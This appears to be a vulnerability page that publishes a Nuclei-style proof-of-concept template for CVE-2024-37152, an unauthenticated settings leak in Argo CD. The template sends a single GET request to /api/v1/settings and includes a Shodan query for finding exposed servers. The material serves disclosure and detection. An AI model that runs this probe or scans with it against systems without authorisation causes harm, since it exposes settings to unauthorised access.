CVE-2024-37152: Argo CD Unauthenticated Access to sensitive setting

2025-08-01 Argo CD PoC Public

Description

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The vulnerability allows unauthorized access to the sensitive settings exposed by /api/v1/settings endpoint without authentication. All sensitive settings are hidden except passwordPattern.

PoC

id: CVE-2024-37152

info:
  name: Argo CD Unauthenticated Access to sensitive setting
  author: DhiyaneshDk
  severity: medium
  description: |
    Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The vulnerability allows unauthorized access to the sensitive settings exposed by /api/v1/settings endpoint without authentication. All sensitive settings are hidden except passwordPattern.
  impact: |
    Unauthenticated attackers can access sensitive password patterns and application settings exposed by the /api/v1/settings endpoint.
  remediation: |
    Update Argo CD to a version that patches CVE-2024-37152.
  reference:
    - https://github.com/argoproj/argo-cd/security/advisories/GHSA-87p9-x75h-p4j2
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37152
  classification:
    cve-id: CVE-2024-37152
    cwe-id: CWE-306
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    epss-score: 0.02348
    epss-percentile: 0.82823
    cpe: cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: argoproj
    product: argo_cd
    shodan-query: html:"Argo CD"
  tags: cve,cve2024,argo-cd,info-leak,vuln

http:
  - raw:
      - |
        GET /api/v1/settings HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"passwordPattern":'
          - '"appLabelKey":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200d6f1acd271773a33703f2bf6959820076fdf1a27e876f6ee2e895bb37386bee0221008e0e76bc52e239e3a0fa03e3d13240055aaf2ac8ea61d7e32b2d5be201e923c3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities